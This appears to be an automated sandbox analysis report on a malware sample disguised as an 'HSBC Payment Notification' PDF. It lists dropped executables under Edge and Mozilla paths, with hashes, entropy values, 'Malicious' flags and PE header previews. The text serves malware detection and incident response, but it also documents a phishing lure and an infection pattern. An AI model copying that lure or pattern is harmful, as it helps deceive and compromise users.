Entropy (8bit):	7.961745067083342
Encrypted:	false
SSDEEP:	1572864:6KjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:NicZmsR3Lo/cnLe
MD5:	A672AD10F358F8E7BD2213C61C0683C7
SHA1:	EBE097D333BCD6302D76EB8ACCBC2CB4F3E68BB9
SHA-256:	09BB34812220F30A20298EBB192ABBE3AB05D00E7D248CB894C93A24291E8B78
SHA-512:	24C33FBD7276E2C31A926B5FDA4DA21731F18CF739041316477747AD0EF26F21FF56669BE16AB0D0721BEE67FF114D4ECE004C08A783B8DAF24987FEB13E34FA
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.......$..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1812992
Entropy (8bit):	5.2500115165861985
Encrypted:	false
SSDEEP:	24576:Jd8DMeflpnIOvYU4/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:JCDD9pnIOqLNiXicJFFRGNzj3
MD5:	5213131E8048BAB1099B7570DF3AB023
SHA1:	312BF81E1D21A80A1E97B7434D41B6D561A13EED
SHA-256:	1F5F17D56D00B8303C8ED1E0AB96B41030D936A17485641208D7C33120FA1AE7
SHA-512:	1D393EDBCEEC4F2B59F952F4BF4E6F1E4F550D754B7A0A9AF96AAD2D03D5ECC347A0B20BA9D4ABA0372AE82A8BDFB6B4F3946D5680557C90D78BA01D2696710F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@..............................'.....^..... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...`..........................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.745649234967871
Encrypted:	false
SSDEEP:	49152:PB1sstqMHiq8kBfK9a+cOVE/TqEpEepdkRqqUu9wg6KFYso8l8ERLNiXicJFFRGN:jHzorVmr2gkRpdJYoln7wRGpj3
MD5:	032EA851990553681FB46AB5FA8FCF14
SHA1:	51D35588E2309C53C5BDC15C7683238A9A92EE25
SHA-256:	89F74977DE3E2ABC6DCF0FBBDABE36269F9CC6364216B25593D799A4949981D2
SHA-512:	1FB43FE20C61835C852594A00D73144CECB75630F9DA275DFBD243DE7B9FE9E6F6080FBAECF19A50F007A5B3FABC1E76D38E4823540177AEA2C408326E3BFB3A
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD.......B... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1394176
Entropy (8bit):	4.671303731095913
Encrypted:	false
SSDEEP:	24576:qEyT6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xymLNiXicJFFRGNzj3
MD5:	706EB52E44588A85A3CB806033C96603
SHA1:	BCB045B7A0F494E6610152249E4FAD721E96908A
SHA-256:	FCF72CEEC46C939DEA1B159E7CD84D486C605D2AE3DD7C48088958CD1CBF7AFC
SHA-512:	A0E3FD4A0850A42FE7642A5D0F403BC251E12ED040D082276155EE85A6319E1093EE9A5EEEA395E68A4F6E28270A12B2B7AE06D762DEE9CB2DB5A670F09094BD
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................` .....]..... ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...`..........................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.045012760202469
Encrypted:	false
SSDEEP:	49152:lhDdVrQ95RW0YQHyWQXE/09Val0GMLNiXicJFFRGNzj3:lhHYWmHyWKz7wRGpj3
MD5:	AB3EAE016DCC7F0026DB2D4EF2BCCB01
SHA1:	03BB4C262E82C6269F0CEAF20FF77E1090936E2F
SHA-256:	E67AB7CE13ED7B32DE499B6AD3D8E61F774CF5101D8F4BF10FF93CB1189257EA
SHA-512:	ED573C52C85F4AFD8CC32A71530CCA49829CCA657D3F9A8B0CDEEAD56C970CF4F5D841524DB43AF7BECF3A16E00D2D371FC40459A6B2709E91F0ABE762E2BB25
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%......'$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.152085736501312
Encrypted:	false
SSDEEP:	24576:a70E0ZCQZMib6Rrt9RoctGfmddB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:e0EzQS7RPRoc1VLNiXicJFFRGNzj3
MD5:	D164B86D85E4FA61FD437AC49651FD45
SHA1:	A5E9885BE9AE0A5392FFE9A79527343B22F70C2C
SHA-256:	2A6520929D8C5C6ABC5CB9A0B01DC9479FD14F490C3728FD65F40040225D7378
SHA-512:	FE794DF290FC3F0DAACF3A96E2C130DAA501D87601CA0832D46222B753828649B0CCB3C3FEB2A7D55B63318CFF39D9D1D9C0757191A50677F5657F0BFD8E5045
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......v..... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.139168248169895
Encrypted:	false
SSDEEP:	24576:yiD2VmA1YXiHwlklb8boUuWPg2gG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:hD2VmAygwIb8boQxLNiXicJFFRGNzj3
MD5:	71C98839DD7F0C3CD1F5393202F346CF
SHA1:	1F665BA446B1EC04C3786A6B89157280F98DC303
SHA-256:	D6A3DECA4DE7F5C86DBDD361F7BCCA6D3C8247472C67ECD0D7118B0E1B255B85
SHA-512:	7E0A83DCC72E5F4CF2CA3996D8DF151DFD90E6CB7B5D5FA815C2C06C7F37C11357556523EC30B0AE6266CE12752F2440FFB5FC5EBB2600F365CD670F8001643B
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.946956268922784
Encrypted:	false
SSDEEP:	49152:TfD3zO9ZhBGlohzM3HRNr00pLNiXicJFFRGNzj3:bDaalSzM00p7wRGpj3
MD5:	CA57BF46E41B70D65A4B54B512FBF39B
SHA1:	6B7898E54F8CC0AED4FEBB5C98EC1CB373AF2703
SHA-256:	54C5F738BA578FC2C844858D8FBDFC9676900FB95248A4FC8F9C947D21647E60
SHA-512:	387EAD02731A0E49B100B81969ECCF50CEFA74B02E891CC1E2C781D8E9345F8F5025215762D49B9023F30EF6C4201AF6AF4E74C9ABC603015F6BA283DD2E9B15
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-....../,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.821900455106531
Encrypted:	false
SSDEEP:	49152:2TaRe7mkn5KLvD5qGVC008/pb4tgLUgGEsLABD5wTQh07yrLMLl9YPhSLNiXicJy:pI72Lvkr4pbxJRoIMB7wRGpj3
MD5:	A0E20A93BF158E05662F34C2551E4763
SHA1:	2AD9770017D7ADF8C816F5E98FFDFFF2E82FD59A
SHA-256:	565BB6F9466B9DFDBC5381F67B05F7B6F6F138882A6928DF645E69A41127ACD8
SHA-512:	5B142A74DAD0A37BC50A64DEEC0D8A675FB1CC13363D550A15FC703B5937C173F7F9A45113BF88931BC88CE42787B178C359F542E9FC43A0BD89293A90FD6230
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C.....ibB... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.091524759425025
Encrypted:	false
SSDEEP:	24576:YW9Jml9mmijxiMnF+ZxmQWcbLw8VR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:YWnm5iAMkjmQWkVRLNiXicJFFRGNzj3
MD5:	60263050E5D700898109EF995A52CE93
SHA1:	13BD17BE88DBED22AE831BBD41E2FD211C8BDB5C
SHA-256:	0B7DB0B039E687B756E630EF3575BDBC216AE2D07EDC099D8861DCB044FBD7D2
SHA-512:	9D12BE4ED967C7773EA6D3921F99CBD062F294EDD02B59D16BDFFA954B672F5C4B90C53DE295AECC7E7365EBACD21D19656F00683CC83A15578215B1BC43F39E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. .....TE ... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.159884222737881
Encrypted:	false
SSDEEP:	24576:gwNHwoYhua6MZERO4qbBJTY6mY1uIgP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:gwNPdNO7BJTfmEALNiXicJFFRGNzj3
MD5:	351954F4963BECECE28930FCBD0CA02C
SHA1:	BE2EABC642BC52FC46ABBE345CC5359DE0E8DE70
SHA-256:	CE9BC8F37C93B702EE7C4CF258713FA966A9A0D10F3DD6B4264BE6DE4762A704
SHA-512:	1672476FF23C31E7972AAE91E67E7D9A7D057D51B373B45BF76EBD5F1650EFA110DFCC126EF631CD654B128EFE4795DA9E824225E4D654F9A9426678E678EBB9
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.139177585412219
Encrypted:	false
SSDEEP:	24576:CiD2VmA1YXiHwlklb8boUuWPg2gG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xD2VmAygwIb8boQxLNiXicJFFRGNzj3
MD5:	12E1B8925E209DF0378A621F2CF30FFA
SHA1:	784ADCB8D6182118C7F469D524AF7B0254A5C7C9
SHA-256:	3679E95FB051CC75D715AEDD2966E24D22E6BC70B757953700E68351A4111ED5
SHA-512:	278F1B56668B234E380BC366F52D932679A023D743D45E630932BF4D8600FAC0A316F7B27B81ABD150389182F19E05691AFA09EDD656A8A3BE36F44F535CCC4F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p......~..... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.159885295427225
Encrypted:	false
SSDEEP:	24576:kwNHwoYhua6MZERO4qbBJTY6mY1uIgP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kwNPdNO7BJTfmEALNiXicJFFRGNzj3
MD5:	C1B7D01BB02CA67F77E6850117EFAB09
SHA1:	988540A110083C33DD5279AFA03F1E0ED847332C
SHA-256:	0649F20304632DFA79786A3801833F31F03FBE00888B62A03609F713261F900B
SHA-512:	24532197C7FB7037FD0B518556D7F22D3C25F7B0977A0373F8AB617E7DF50679434A876850AD471E64704171AA94B8A34C1EDBCBF426051965E208ABC6FA0811
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1481216
Entropy (8bit):	4.694141404006032
Encrypted:	false
SSDEEP:	24576:Q6lbht6BHs/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:7lNtqHsLNiXicJFFRGNzj3
MD5:	38C9C3DED5D00754BD8B6E6E5B10B387
SHA1:	440B8DD10C9D8D86976C01C7890A5F6925949EEE
SHA-256:	4C7090739751E205F67873FD8F17DBA6131F3CACD33FCB63ED159234A17F2E6D
SHA-512:	FEC35FA51D3232A918F7040F053827318CF6BBD0E6573B602660913CC88DAB047668514882CC40A2E42045AC40923AA600CF69B81EB0165C8E53E32CD022B85D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@...........................!.............................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...p...0......................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.656856773394686
Encrypted:	false
SSDEEP:	24576:5IxkTBVA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Wxk1VALNiXicJFFRGNzj3
MD5:	D7FED8AC02DF0307866F999C695E5655
SHA1:	681DD52924ADE263A9490745C53C11FFA3EFEC9D
SHA-256:	33912BDAD09643625D7DA704CF9FFD047734899A2188AF66A5B971A6D8CB1723
SHA-512:	094FA02BE2B4C64003300F5DBFD0054A1AAEEE934152F4FCB4868614121DE910348CC957CEB6AA98BA5937D95C8BD3DB7B121C1197ADA171FAA2D91F77907E51
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@........................... .............................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1490944
Entropy (8bit):	4.787382961566884
Encrypted:	false
SSDEEP:	24576:Xcssmrd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:MbuLNiXicJFFRGNzj3
MD5:	0C2828866DFD7330E15AB1049881076D
SHA1:	41691ED2773EDF49CC5572DD1C0B727DC8D4B5BF
SHA-256:	8F16700BD406F98D94EDAEFC0B5DB84F20D099E38199892BA644945B0226D905
SHA-512:	712B32C6DCBED55AC84B6000F0D05B4DA8B485B205E8E5F1BCB49838C79ACB476DC15B51D620450CBFF7D91A44C69662F869C29E98A125E25B7186C05CC48AD2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............O.@.O.@.O.@.$.A.O.@.$.A\|O.@.7.A.O.@.7.A.O.@.7.A.O.@W6.A.O.@.$.A.O.@.$.A.O.@.$.A.O.@.O.@IN.@W6.A.O.@W6.@.O.@W6.A.O.@Rich.O.@........PE..d...@(.d.........."......n...........].........@..............................!.....]%.... .....................................................(............@..........................p.......................(...p,..@...............0............................text....l.......n.................. ..`.rdata..8z.......\|...r..............@..@.data...P3..........................@....pdata.......@......................@..@.didat.......`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc...`........... ..............@...........................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1539584
Entropy (8bit):	4.8965643001547
Encrypted:	false
SSDEEP:	24576:KTfcT++foSBWU2Yxhkgy/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:qfcK+foQWU2YnPyLNiXicJFFRGNzj3
MD5:	5EFD3B9B3E1D483A0CE3855B570D4143
SHA1:	1A4F3C02C6C6334AA81187FB204C04E83447F297
SHA-256:	65C8BE0CA21A77699CF8291B1DC2D123D8113485F9D9E3C1D468BE01386264CD
SHA-512:	2536F063CDD5987CF4BFF29175214012A91DCEB1DFEF54BE062A2C1B6AA987CE6BF7A466EB9D0CCB2623BB7D8F1746AA3B3D58D7DC1BA098E3A36D91E258CE83
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............wU..wU..wU.tT..wU.rTg.wU..sT..wU..tT..wU..rT..wU.sT..wU.qT..wU.vT..wU..vUQ.wUK.~T..wUK..U..wUK.uT..wURich..wU........PE..L...B(.d............................p.............@...........................".....b;.......................................y..........H3...........................g..p....................g..........@....................x.......................text............................... ..`.rdata...z.......\|..................@..@.data....'...........z..............@....didat..$...........................@....rsrc...H3.......4..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1376768
Entropy (8bit):	4.656903388673929
Encrypted:	false
SSDEEP:	24576:hbBRzBgS/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:VBRVgSLNiXicJFFRGNzj3
MD5:	2969B3A2AF3B2AFBC0617C3674BC8BDA
SHA1:	45874B5B5D2D599187CCB9A725BA4B11B6E27A8F
SHA-256:	135D1D3FC250D8C064567A5B33E98E5A8600D91D53B78636E152052ABFDBD2C5
SHA-512:	00F48021EB5019E38066CF74224DBE7743D3BA6EB22EE4E7C5864FC94D16CB0AACFE0DCC71BF17CA0552653A1A8E8695711F9382AC3BCB30F347C5DB825DDAE4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...7(.d..........................................@........................... .....n...........................................(....`..X3..............................p...............................@...................<...@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...p...........R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2168832
Entropy (8bit):	7.93763841289764
Encrypted:	false
SSDEEP:	49152:qy53w24gQu3TPZ2psFkiSqwozYLNiXicJFFRGNzj3:qyFQgZqsFki+ozY7wRGpj3
MD5:	6B49DE9E8F5864E490498A91204B87CE
SHA1:	6E1595444FF0955C5D415CA0BAA511DB4D5D0D5D
SHA-256:	E0089EAA039D645ADF62181437D9492D0BBAE6D70518736274A7EEBE6E40E9FD
SHA-512:	552B6F088EFFDEEC4796478BEFB22AB58CF3E6535BF9A887A718B30787B095F3CF4A8DA34188AC9EBB6F63EC2BFFB208B50D825C464EFE5FB7851789C3FBD3B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d..[ e.. e.. e..4...+e..4....e..B...1e..B...4e......-e..B....e..4...3e..4...!e..4...-e.. e...e....@.!e.. e(.ve......!e..Rich e..................PE..L....(.d............................ }............@..........................p!......!......................................?..x....................................1..p....................1..........@...............H...T>..`....................text...*........................... ..`.rdata..............................@..@.data...,....P.......8..............@....didat..,....p.......B..............@....rsrc................D..............@..@.reloc.......p.......(..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.850973511586367
Encrypted:	false
SSDEEP:	48:Ftk5yVQ+aGR73/R3mqZ1DYTSc3YvHsx3L3Q+ai3qfCT+F+Y3N3n3M3D:MiPT0Eo
MD5:	99B30E1686AA32F919388B41997F5283
SHA1:	360B79445D56BDACB9A45657860E155A616307BC
SHA-256:	50B1564D7F65FC29E34A2154A3B12646CA6562B50B13E08E1B4F22C89848B008
SHA-512:	E0F3E97CBC4F4F5412CCF1DD2F575C9C5851732D534E1AD18E5D123A25EE77931869648B4EF2DB6C1BF70A536561499389ABAC313B9E7B4D55666BA1B4146238
Malicious:	false
Preview:	2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeAuditPrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeBackupPrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2024-12-11 03:26:10-0500: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeDebugPrivilege...2024-12-11 03:26:10-0500: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2024-12-11 03:26:10-0500: Disabled unneeded token privilege: SeImpersonatePrivilege...2024-12-11 03:26:1

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.897853118697728
Encrypted:	false
SSDEEP:	24576:OQVTZu0Jy/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:VVTZujLNiXicJFFRGNzj3
MD5:	E7E89E8BD2CB902CA372DA1022670BE2
